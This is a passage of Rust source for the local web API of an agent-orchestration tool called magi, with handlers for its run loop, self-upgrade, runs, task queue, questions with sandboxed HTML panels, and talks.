1860 !self.handle.is_finished()
1861 }
1862}
1863
1864fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1871 state.lock().unwrap_or_else(PoisonError::into_inner)
1872}
1873
1874async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1876 blocking(move || {
1877 let reading = daemon::read_status(&ui.home);
1878 Ok(Json(ui.loop_view(reading)))
1879 })
1880 .await
1881}
1882
1883#[derive(Debug, Deserialize)]
1889#[serde(deny_unknown_fields)]
1890struct LoopCommand {
1891 running: bool,
1892 #[serde(default)]
1902 park: bool,
1903}
1904
1905async fn loop_post(
1913 State(ui): State<Arc<Ui>>,
1914 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1915) -> ApiResult<Json<LoopView>> {
1916 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1919 blocking(move || {
1920 let reading = daemon::read_status(&ui.home);
1921 let foreign = Foreign::of(reading.as_ref());
1922 if body.running {
1923 ui.start_loop(foreign)?;
1924 } else {
1925 ui.stop_loop(foreign, body.park)?;
1926 }
1927 Ok(Json(ui.loop_view(reading)))
1928 })
1929 .await
1930}
1931
1932#[derive(Debug, Serialize)]
1934struct UpgradeView {
1935 from: String,
1937 to: Option<String>,
1939 parked: Option<String>,
1941 detail: String,
1943}
1944
1945async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1969 let reading = daemon::read_status(&ui.home);
1970 if let Some(other) = Foreign::of(reading.as_ref()) {
1971 return Err(ApiError::conflict(format!(
1972 "the loop belongs to {}, so replacing this binary would leave \
1973 that process running an old one against the same queue. Upgrade \
1974 where it was started.",
1975 other.who()
1976 )));
1977 }
1978
1979 if crate::updater::disabled_by_env() {
1985 return Ok((
1986 StatusCode::OK,
1987 Json(UpgradeView {
1988 from: env!("CARGO_PKG_VERSION").to_owned(),
1989 to: None,
1990 parked: None,
1991 detail: format!(
1992 "Automatic updates are disabled by {}. Nothing was parked \
1993 and nothing restarted.",
1994 crate::updater::NO_AUTOUPDATE_ENV
1995 ),
1996 }),
1997 ));
1998 }
1999
2000 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2005 let from = env!("CARGO_PKG_VERSION").to_owned();
2006 let latest = match crate::updater::Checker::new(&cfg.update) {
2007 Some(checker) => checker
2008 .newer_release()
2009 .await
2010 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2011 None => None,
2012 };
2013 let Some(latest) = latest else {
2014 return Ok((
2015 StatusCode::OK,
2016 Json(UpgradeView {
2017 from,
2018 to: None,
2019 parked: None,
2020 detail: "Already on the newest release. Nothing was parked \
2021 and nothing restarted."
2022 .to_owned(),
2023 }),
2024 ));
2025 };
2026
2027 let parked = ui.park_for_upgrade()?;
2030 let detail = match &parked {
2031 Some(run) => format!(
2036 "Run {} is parking at its next step, which can take as long as \
2037 the step it is on - up to an hour for an implement wave. The \
2038 deck replaces itself once it parks, comes back, and the loop \
2039 carries that run on from where it stopped. Nothing is lost if \
2040 you close this.",
2041 crate::run::short_of(run)
2042 ),
2043 None => "The deck replaces itself and comes back. Nothing was in \
2044 flight to park."
2045 .to_owned(),
2046 };
2047
2048 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2052 progress.parked_run = parked.clone();
2053 let _ = updater::write_progress(&ui.home, &progress);
2054
2055 let home = ui.home.clone();
2056 tokio::spawn(async move {
2057 if let Err(e) = upgrade_and_restart(home.clone()).await {
2058 tracing::error!("the upgrade did not complete: {e:#}");
2059 if let Some(mut progress) = updater::read_progress(&home) {
2060 progress.fail(format!("{e:#}"));
2061 let _ = updater::write_progress(&home, &progress);
2062 }
2063 }
2064 });
2065
2066 Ok((
2067 StatusCode::ACCEPTED,
2068 Json(UpgradeView {
2069 from,
2070 to: Some(latest.tag_name),
2071 parked,
2072 detail,
2073 }),
2074 ))
2075}
2076
2077async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2082 crate::updater::run_self_update(true, false, true).await?;
2085 tracing::info!("binary replaced - asking the server to hand over");
2086 if let Some(mut progress) = updater::read_progress(&home) {
2087 progress.advance(updater::Stage::Replaced);
2088 let _ = updater::write_progress(&home, &progress);
2089 }
2090 HANDOVER.notify_one();
2091 Ok(())
2092}
2093
2094#[derive(Debug, Serialize)]
2100struct RunSummary {
2101 id: String,
2102 short: String,
2103 status: String,
2104 done: bool,
2105 instruction: String,
2106 title: String,
2107 repo: String,
2108 repo_name: String,
2109 created_at: String,
2110 updated_at: String,
2111 candidates: usize,
2112 viable: usize,
2113 judges: usize,
2114 winner: Option<char>,
2115 reviews: usize,
2116 quota_losses: usize,
2117 event: Option<String>,
2118 superseded_by: Option<String>,
2123 waiting: bool,
2130 pr: Option<crate::run::PrRecord>,
2132 unmerged_by_design: bool,
2138}
2139
2140impl RunSummary {
2141 fn of(state: &RunState, waiting: bool) -> Self {
2142 Self {
2143 id: state.id.clone(),
2144 short: state.short().to_owned(),
2145 status: status_word(state.status),
2146 done: state.status.done(),
2147 unmerged_by_design: state.unmerged_by_design(),
2148 instruction: state.instruction.clone(),
2149 title: title_from(&state.instruction, TITLE_MAX),
2150 repo: state.repo.display().to_string(),
2151 repo_name: state
2152 .repo
2153 .file_name()
2154 .map(|n| n.to_string_lossy().into_owned())
2155 .unwrap_or_default(),
2156 created_at: state.created_at.to_string(),
2157 updated_at: state.updated_at.to_string(),
2158 candidates: state.candidates.len(),
2159 viable: state.viable().len(),
2160 judges: state.config.graph.judges,
2161 winner: state.winner().map(|c| c.label),
2162 reviews: state.reviews.len(),
2163 quota_losses: state.quota.len(),
2164 event: state.events.last().map(|e| e.message.clone()),
2165 waiting,
2166 superseded_by: None,
2169 pr: state.pr.clone(),
2170 }
2171 }
2172}
2173
2174fn status_word(status: RunStatus) -> String {
2177 status.as_str().to_owned()
2181}
2182
2183#[derive(Debug, Deserialize)]
2185struct ListQuery {
2186 #[serde(default)]
2187 limit: Option<usize>,
2188}
2189
2190async fn runs_list(
2191 State(ui): State<Arc<Ui>>,
2192 Query(q): Query<ListQuery>,
2193) -> ApiResult<Json<Vec<RunSummary>>> {
2194 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2195 blocking(move || {
2196 let superseded = superseded_runs(&ui.queue);
2197 let summaries = run_ids(&ui.runs)
2198 .into_iter()
2199 .filter_map(|id| read_run(&ui.runs, &id).ok())
2204 .take(limit)
2205 .map(|state| {
2206 let waiting = !ui.questions.open_for(&state.id).is_empty();
2207 let by = superseded.get(&state.id).cloned();
2208 let mut row = RunSummary::of(&state, waiting);
2209 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
2210 row
2211 })
2212 .collect();
2213 Ok(Json(summaries))
2214 })
2215 .await
2216}
2217
2218fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2231 let mut by = HashMap::new();
2232 for task in queue.list() {
2233 for pair in task.runs.windows(2) {
2234 if let [earlier, later] = pair {
2235 by.insert(earlier.clone(), later.clone());
2236 }
2237 }
2238 }
2239 by
2240}
2241
2242#[derive(Debug, Serialize)]
2249struct RunDetailView {
2250 #[serde(flatten)]
2251 state: RunState,
2252 instruction_md: Vec<md::Node>,
2253 live: crate::run::Liveness,
2268 unmerged_by_design: bool,
2273}
2274
2275impl RunDetailView {
2276 fn of(state: RunState, live: crate::run::Liveness) -> Self {
2277 Self {
2278 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2279 live,
2280 unmerged_by_design: state.unmerged_by_design(),
2281 state,
2282 }
2283 }
2284}
2285
2286async fn run_detail(
2287 State(ui): State<Arc<Ui>>,
2288 Path(id): Path<String>,
2289) -> ApiResult<Json<RunDetailView>> {
2290 blocking(move || {
2291 let id = resolve_run(&ui.runs, &id)?;
2292 let state = read_run(&ui.runs, &id)?;
2293 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2294 let live = state.liveness(daemon_claims);
2295 Ok(Json(RunDetailView::of(state, live)))
2296 })
2297 .await
2298}
2299
2300async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2309 let (id, unreadable) = {
2310 let ui = Arc::clone(&ui);
2311 blocking(move || {
2312 let id = resolve_run(&ui.runs, &id)?;
2313 match read_run(&ui.runs, &id) {
2314 Ok(state) => {
2315 let in_flight =
2316 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2317 state
2318 .ensure_can_delete(in_flight)
2319 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2320 let dir = ui.runs.join(&id);
2321 std::fs::remove_dir_all(&dir)
2322 .with_context(|| format!("remove run directory {}", dir.display()))?;
2323 Ok((id, false))
2324 }
2325 Err(_) => {
2326 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2330 return Err(ApiError::conflict(format!(
2331 "run {id} is being worked on by a live daemon right now"
2332 )));
2333 }
2334 Ok((id, true))
2335 }
2336 }
2337 })
2338 .await?
2339 };
2340 if unreadable {
2341 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2342 .await
2343 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2344 }
2345 let ui = Arc::clone(&ui);
2346 let done = id.clone();
2347 blocking(move || {
2348 ui.questions.abandon_for_run(
2351 &done,
2352 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2353 )?;
2354 Ok(())
2355 })
2356 .await?;
2357 Ok(StatusCode::NO_CONTENT)
2358}
2359
2360async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2384 let (id, state) = {
2385 let ui = Arc::clone(&ui);
2386 blocking(move || {
2387 let id = resolve_run(&ui.runs, &id)?;
2388 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2389 return Err(ApiError::conflict(format!(
2390 "run {id} is being worked on by a live daemon right now"
2391 )));
2392 }
2393 let state = read_run(&ui.runs, &id).ok();
2394 Ok((id, state))
2395 })
2396 .await?
2397 };
2398 let removed = match state {
2399 Some(mut state) => {
2400 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2401 .await
2402 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2403 if removed.is_empty() {
2408 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2409 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2410 }
2411 removed
2412 }
2413 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2414 .await
2415 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2416 };
2417 Ok(Json(FoldView {
2418 run: id,
2419 removed_count: removed.len(),
2420 removed,
2421 }))
2422}
2423
2424#[derive(Debug, Serialize)]
2426struct FoldView {
2427 run: String,
2428 removed: Vec<String>,
2430 removed_count: usize,
2431}
2432
2433async fn run_resume(
2453 State(ui): State<Arc<Ui>>,
2454 Path(id): Path<String>,
2455) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2456 let (id, state) = {
2457 let ui = Arc::clone(&ui);
2458 blocking(move || {
2459 let id = resolve_run(&ui.runs, &id)?;
2460 let state = read_run(&ui.runs, &id)?;
2461 Ok((id, state))
2462 })
2463 .await?
2464 };
2465 if !state.status.resumable() {
2466 return Err(ApiError::conflict(format!(
2467 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2468 state.short(),
2469 status_word(state.status)
2470 )));
2471 }
2472 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2477 .into_iter()
2478 .next()
2479 {
2480 return Err(ApiError::conflict(format!(
2481 "the loop is running run {} right now; stop it first, or wait for \
2482 it to finish, before resuming a run by hand.",
2483 crate::run::short_of(&work.run)
2484 )));
2485 }
2486 let _resume = ui.begin_resume(&id)?;
2487
2488 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2491 let run = id.clone();
2492 tokio::spawn(async move {
2493 let _resume = _resume;
2494 match crate::graph::Runner::resume(&run) {
2495 Ok(mut runner) => {
2496 if let Err(e) = runner.execute().await {
2497 tracing::warn!("resume of run {run} stopped: {e:#}");
2498 }
2499 }
2500 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2503 }
2504 });
2505 Ok((StatusCode::ACCEPTED, Json(queued)))
2506}
2507
2508async fn run_report(
2509 State(ui): State<Arc<Ui>>,
2510 Path(id): Path<String>,
2511) -> ApiResult<impl IntoResponse> {
2512 let text = blocking(move || {
2513 let id = resolve_run(&ui.runs, &id)?;
2514 let state = read_run(&ui.runs, &id)?;
2518 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2519 let live = state.liveness(daemon_claims);
2520 Ok(format!(
2521 "{}{}",
2522 report::run(&state),
2523 report::active_seats(&state, live)
2524 ))
2525 })
2526 .await?;
2527 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2528}
2529
2530#[derive(Debug, Serialize)]
2536struct TaskView {
2537 #[serde(flatten)]
2538 task: Task,
2539 source_label: String,
2540 status_str: &'static str,
2541 instruction_md: Vec<md::Node>,
2545}
2546
2547impl From<Task> for TaskView {
2548 fn from(task: Task) -> Self {
2549 Self {
2550 source_label: task.source.label(),
2551 status_str: task.status.as_str(),
2552 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2553 task,
2554 }
2555 }
2556}
2557
2558#[derive(Debug, Default, Deserialize)]
2561#[serde(default)]
2562struct ReposQuery {
2563 refresh: u8,
2564}
2565
2566async fn repos_list(
2573 State(ui): State<Arc<Ui>>,
2574 Query(q): Query<ReposQuery>,
2575) -> ApiResult<Json<Vec<repos::Repo>>> {
2576 let refresh = q.refresh != 0;
2577 blocking(move || {
2578 let (cfg, _) = Config::discover(&ui.repo, None)?;
2579 Ok(Json(ui.repos_cache.list(
2580 &cfg.repos.roots,
2581 Duration::from_secs(cfg.repos.scan_ttl),
2582 refresh,
2583 )))
2584 })
2585 .await
2586}
2587
2588async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2589 blocking(move || {
2590 Ok(Json(
2591 ui.queue.list().into_iter().map(TaskView::from).collect(),
2592 ))
2593 })
2594 .await
2595}
2596
2597#[derive(Debug, Default, Deserialize)]
2600#[serde(default, deny_unknown_fields)]
2601struct HoldBody {
2602 reason: Option<String>,
2603}
2604
2605async fn queue_hold(
2606 State(ui): State<Arc<Ui>>,
2607 Path(id): Path<String>,
2608 body: std::result::Result<Json<HoldBody>, JsonRejection>,
2609) -> ApiResult<Json<TaskView>> {
2610 let body = match body {
2614 Ok(Json(body)) => body,
2615 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2616 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2617 };
2618 let reason = body.reason.filter(|r| !r.trim().is_empty());
2619 mutate(ui, id, move |t| {
2620 t.hold_manual(reason.clone());
2621 Ok(())
2622 })
2623 .await
2624}
2625
2626async fn queue_release(
2627 State(ui): State<Arc<Ui>>,
2628 Path(id): Path<String>,
2629) -> ApiResult<Json<TaskView>> {
2630 mutate(ui, id, |t| {
2631 t.release();
2632 Ok(())
2633 })
2634 .await
2635}
2636
2637#[derive(Debug, Deserialize)]
2639#[serde(deny_unknown_fields)]
2640struct PriorityBody {
2641 priority: i32,
2642}
2643
2644async fn queue_priority(
2650 State(ui): State<Arc<Ui>>,
2651 Path(id): Path<String>,
2652 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2653) -> ApiResult<Json<TaskView>> {
2654 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2655 mutate(ui, id, move |t| t.set_priority(body.priority)).await
2656}
2657
2658#[derive(Debug, Deserialize)]
2660#[serde(deny_unknown_fields)]
2661struct EditBody {
2662 title: String,
2663 instruction: String,
2664}
2665
2666async fn queue_edit(
2670 State(ui): State<Arc<Ui>>,
2671 Path(id): Path<String>,
2672 body: std::result::Result<Json<EditBody>, JsonRejection>,
2673) -> ApiResult<Json<TaskView>> {
2674 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2675 mutate(ui, id, move |t| {
2676 t.edit(body.title.clone(), body.instruction.clone())
2677 })
2678 .await
2679}
2680
2681async fn queue_done(
2689 State(ui): State<Arc<Ui>>,
2690 Path(id): Path<String>,
2691) -> ApiResult<Json<TaskView>> {
2692 mutate(ui, id, |t| {
2693 t.succeed();
2694 Ok(())
2695 })
2696 .await
2697}
2698
2699async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2707 blocking(move || {
2708 let id = resolve_task(&ui.queue, &id)?;
2709 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2710 ui.queue
2711 .remove(&id, in_flight)
2712 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2713 Ok(StatusCode::NO_CONTENT)
2714 })
2715 .await
2716}
2717
2718async fn mutate(
2727 ui: Arc<Ui>,
2728 id: String,
2729 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2730) -> ApiResult<Json<TaskView>> {
2731 blocking(move || {
2732 let id = resolve_task(&ui.queue, &id)?;
2733 let _claim = ui.queue.claim(&id).map_err(|e| {
2738 ApiError::conflict(format!(
2739 "{e:#} - a daemon is running this task, so it cannot be \
2740 changed from here yet"
2741 ))
2742 })?;
2743 let mut task = ui.queue.get(&id)?;
2744 change(&mut task).map_err(ApiError::bad_request_from)?;
2745 ui.queue.put(&mut task)?;
2746 Ok(Json(TaskView::from(task)))
2747 })
2748 .await
2749}
2750
2751async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2759 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2760 tokio::spawn(async move {
2761 let mut ticker = tokio::time::interval(POLL);
2762 let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2763 loop {
2764 ticker.tick().await;
2767 let state = Arc::clone(&ui);
2768 let revisions = tokio::task::spawn_blocking(move || {
2769 (
2770 state.queue.revision(),
2771 runs_revision(&state.runs),
2772 state.questions.revision(),
2773 state.talks.revision(),
2774 state.lock_loop().rev,
2778 )
2779 })
2780 .await;
2781 let Ok(revisions) = revisions else { break };
2782 if last == Some(revisions) {
2783 continue;
2784 }
2785 last = Some(revisions);
2786 let payload = serde_json::json!({
2787 "queue_rev": revisions.0,
2788 "runs_rev": revisions.1,
2789 "questions_rev": revisions.2,
2790 "talks_rev": revisions.3,
2791 "loop_rev": revisions.4,
2792 });
2793 let Ok(event) = Event::default().event("change").json_data(payload) else {
2795 break;
2796 };
2797 if tx.send(event).await.is_err() {
2798 break;
2799 }
2800 }
2801 });
2802 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2803 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2804}
2805
2806fn runs_revision(runs: &FsPath) -> u64 {
2813 use std::hash::{Hash as _, Hasher as _};
2814
2815 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2816 .into_iter()
2817 .flatten()
2818 .flatten()
2819 .filter_map(|e| {
2820 let path = e.path().join("run.json");
2821 let mtime = path
2822 .metadata()
2823 .ok()?
2824 .modified()
2825 .ok()?
2826 .duration_since(std::time::UNIX_EPOCH)
2827 .ok()?
2828 .as_millis() as u64;
2829 let id = e.file_name().to_string_lossy().into_owned();
2830 Some((id, mtime))
2831 })
2832 .collect();
2833
2834 if entries.is_empty() {
2835 return 0;
2836 }
2837
2838 entries.sort_unstable();
2839 let mut hasher = std::hash::DefaultHasher::new();
2840 for (id, mtime) in &entries {
2841 id.hash(&mut hasher);
2842 mtime.hash(&mut hasher);
2843 }
2844 let h = hasher.finish();
2845 if h == 0 { 1 } else { h }
2846}
2847
2848fn run_ids(runs: &FsPath) -> Vec<String> {
2854 let mut ids: Vec<String> = std::fs::read_dir(runs)
2855 .into_iter()
2856 .flatten()
2857 .flatten()
2858 .filter(|e| e.path().join("run.json").is_file())
2859 .map(|e| e.file_name().to_string_lossy().into_owned())
2860 .collect();
2861 ids.sort_unstable_by(|a, b| b.cmp(a));
2863 ids
2864}
2865
2866fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2868 let path = runs.join(id).join("run.json");
2869 let body =
2870 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2871 let state: RunState =
2872 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2873 if state.schema != run::SCHEMA {
2874 anyhow::bail!(
2875 "run {} was written by a different magi (schema {}, this build speaks {})",
2876 state.id,
2877 state.schema,
2878 run::SCHEMA
2879 );
2880 }
2881 Ok(state)
2882}
2883
2884#[must_use]
2892pub fn runs_unreadable(runs: &FsPath) -> usize {
2893 run_ids(runs)
2894 .into_iter()
2895 .filter(|id| read_run(runs, id).is_err())
2896 .count()
2897}
2898
2899fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2901 if runs.join(id).join("run.json").is_file() {
2902 return Ok(id.to_owned());
2903 }
2904 pick(run_ids(runs), id, "run")
2905}
2906
2907fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2909 if queue.path_of(id).is_file() {
2910 return Ok(id.to_owned());
2911 }
2912 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2913}
2914
2915#[derive(Debug, Serialize)]
2926struct QuestionView {
2927 #[serde(flatten)]
2928 question: Question,
2929 detail_md: Vec<md::Node>,
2930 waiting_on_agent: bool,
2940}
2941
2942impl From<Question> for QuestionView {
2943 fn from(question: Question) -> Self {
2944 let base = md::ImageBase::QuestionPanel {
2945 id: question.id.clone(),
2946 };
2947 Self {
2948 detail_md: md::to_nodes(&question.detail, &base),
2949 waiting_on_agent: question.waiting_on_agent(),
2950 question,
2951 }
2952 }
2953}
2954
2955async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2961 blocking(move || {
2962 Ok(Json(
2963 ui.questions
2964 .list()
2965 .into_iter()
2966 .map(QuestionView::from)
2967 .collect(),
2968 ))
2969 })
2970 .await
2971}
2972
2973#[derive(Debug, Default, Deserialize)]
2979#[serde(default, deny_unknown_fields)]
2980struct NewAnswer {
2981 choice: Option<String>,
2982 text: Option<String>,
2983}
2984
2985async fn question_answer(
2986 State(ui): State<Arc<Ui>>,
2987 Path(id): Path<String>,
2988 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2989) -> ApiResult<Json<QuestionView>> {
2990 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2991 let answer = match (body.choice, body.text) {
2992 (Some(c), None) => Answer::Choice(c),
2993 (None, Some(t)) => Answer::Text(t),
2994 (Some(_), Some(_)) => {
2995 return Err(ApiError::bad_request(
2996 "send either `choice` or `text`, not both",
2997 ));
2998 }
2999 (None, None) => {
3000 return Err(ApiError::bad_request("send a `choice` or a `text`"));
3001 }
3002 };
3003
3004 blocking(move || {
3005 let id = resolve_question(&ui.questions, &id)?;
3006 let mut q = ui
3007 .questions
3008 .get(&id)
3009 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3010 if !q.status.open() {
3011 return Err(ApiError::conflict(format!(
3015 "question {} is already {}",
3016 q.short(),
3017 q.status.as_str()
3018 )));
3019 }
3020 q.answer(answer).map_err(ApiError::bad_request_from)?;
3024 ui.questions.put(&mut q)?;
3025 Ok(Json(QuestionView::from(q)))
3026 })
3027 .await
3028}
3029
3030#[derive(Debug, Deserialize)]
3032#[serde(deny_unknown_fields)]
3033struct NewSay {
3034 body: String,
3035}
3036
3037async fn question_say(
3047 State(ui): State<Arc<Ui>>,
3048 Path(id): Path<String>,
3049 body: std::result::Result<Json<NewSay>, JsonRejection>,
3050) -> ApiResult<Json<QuestionView>> {
3051 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3052 blocking(move || {
3053 let id = resolve_question(&ui.questions, &id)?;
3054 let mut q = ui
3055 .questions
3056 .get(&id)
3057 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3058 if !q.status.open() {
3059 return Err(ApiError::conflict(format!(
3063 "question {} is already {}",
3064 q.short(),
3065 q.status.as_str()
3066 )));
3067 }
3068 q.say(body.body).map_err(ApiError::bad_request_from)?;
3071 ui.questions.put(&mut q)?;
3072 Ok(Json(QuestionView::from(q)))
3073 })
3074 .await
3075}
3076
3077fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3079 if store.path_of(id).is_file() {
3080 return Ok(id.to_owned());
3081 }
3082 pick(
3083 store.list().into_iter().map(|q| q.id).collect(),
3084 id,
3085 "question",
3086 )
3087}
3088
3089async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3104 blocking(move || {
3105 let id = resolve_question(&ui.questions, &id)?;
3106 let Some(html) = ui.questions.panel_html(&id) else {
3107 return Err(ApiError::not_found(format!("question {id} has no panel")));
3108 };
3109 Ok(panel_response(
3110 "text/html; charset=utf-8",
3111 false,
3112 html.into_bytes(),
3113 ))
3114 })
3115 .await
3116}
3117
3118async fn question_asset(
3146 State(ui): State<Arc<Ui>>,
3147 Path((id, name)): Path<(String, String)>,
3148) -> ApiResult<Response> {
3149 if !crate::ask::valid_asset_name(&name) {
3152 return Err(ApiError::bad_request(format!(
3153 "`{name}` is not a usable asset name"
3154 )));
3155 }
3156 blocking(move || {
3157 let id = resolve_question(&ui.questions, &id)?;
3158 let asset = ui
3159 .questions
3160 .panel_asset(&id, &name)
3161 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3162 let Some(bytes) = asset else {
3163 return Err(ApiError::not_found(format!(
3164 "question {id} has no asset `{name}`"
3165 )));
3166 };
3167 Ok(panel_response(
3168 asset_content_type(&name),
3169 is_svg(&name),
3170 bytes,
3171 ))
3172 })
3173 .await
3174}
3175
3176fn asset_content_type(name: &str) -> &'static str {
3189 match extension(name).as_deref() {
3190 Some("png") => "image/png",
3191 Some("jpg" | "jpeg") => "image/jpeg",
3192 Some("gif") => "image/gif",
3193 Some("webp") => "image/webp",
3194 Some("svg") => "image/svg+xml",
3195 Some("css") => "text/css; charset=utf-8",
3196 Some("txt") => "text/plain; charset=utf-8",
3197 _ => "application/octet-stream",
3198 }
3199}
3200
3201fn is_svg(name: &str) -> bool {
3204 extension(name).as_deref() == Some("svg")
3205}
3206
3207fn extension(name: &str) -> Option<String> {
3209 name.rsplit_once('.')
3210 .map(|(_, ext)| ext.to_ascii_lowercase())
3211}
3212
3213fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3230 let mut res = (
3231 [
3232 (header::CONTENT_TYPE, content_type),
3233 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3234 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3235 (header::REFERRER_POLICY, "no-referrer"),
3236 ],
3237 body,
3238 )
3239 .into_response();
3240 if download {
3241 res.headers_mut().insert(
3242 header::CONTENT_DISPOSITION,
3243 HeaderValue::from_static("attachment"),
3244 );
3245 }
3246 res
3247}
3248
3249#[derive(Debug, Serialize)]
3255struct TalkView {
3256 #[serde(flatten)]
3257 talk: Talk,
3258 turn_bodies_md: Vec<Vec<md::Node>>,
3259 thinking: bool,
3267}
3268
3269impl TalkView {
3270 fn new(talk: Talk, thinking: bool) -> Self {
3271 let turn_bodies_md = talk
3272 .turns
3273 .iter()
3274 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3275 .collect();
3276 Self {
3277 turn_bodies_md,
3278 thinking,
3279 talk,
3280 }
3281 }
3282}
3283
3284#[derive(Debug, Serialize)]
3289struct TalkDetailView {
3290 #[serde(flatten)]
3291 view: TalkView,
3292 tasks: Vec<TaskView>,
3293}
3294
3295async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3300 blocking(move || {
3301 Ok(Json(
3302 ui.talks
3303 .list()
3304 .into_iter()
3305 .map(|talk| {
3306 let thinking = ui.is_thinking(&talk.id);
3307 TalkView::new(talk, thinking)
3308 })
3309 .collect(),
3310 ))
3311 })
3312 .await
3313}
3314
3315#[derive(Debug, Default, Deserialize)]
3320#[serde(default)]
3321struct NewTalk {
3322 agent: Option<String>,
3323 repo: Option<PathBuf>,
3324}
3325
3326async fn talk_post(
3329 State(ui): State<Arc<Ui>>,
3330 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3331) -> ApiResult<impl IntoResponse> {
3332 let body = match body {
3336 Ok(Json(body)) => body,
3337 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3338 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3339 };
3340 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3341 let cfg = config_for(&repo).await?;
3342 let view = blocking(move || {
3343 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3344 let thinking = ui.is_thinking(&talk.id);
3345 Ok(TalkView::new(talk, thinking))
3346 })
3347 .await?;
3348 Ok((StatusCode::CREATED, Json(view)))
3349}
3350
3351async fn talk_detail(
3353 State(ui): State<Arc<Ui>>,
3354 Path(id): Path<String>,
3355) -> ApiResult<Json<TalkDetailView>> {
3356 blocking(move || {
3357 let id = resolve_talk(&ui.talks, &id)?;
3358 let talk = ui.talks.get(&id)?;
3359 let thinking = ui.is_thinking(&talk.id);
3360 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3361 .into_iter()
3362 .map(TaskView::from)
3363 .collect();
3364 Ok(Json(TalkDetailView {
3365 view: TalkView::new(talk, thinking),
3366 tasks,
3367 }))
3368 })
3369 .await
3370}
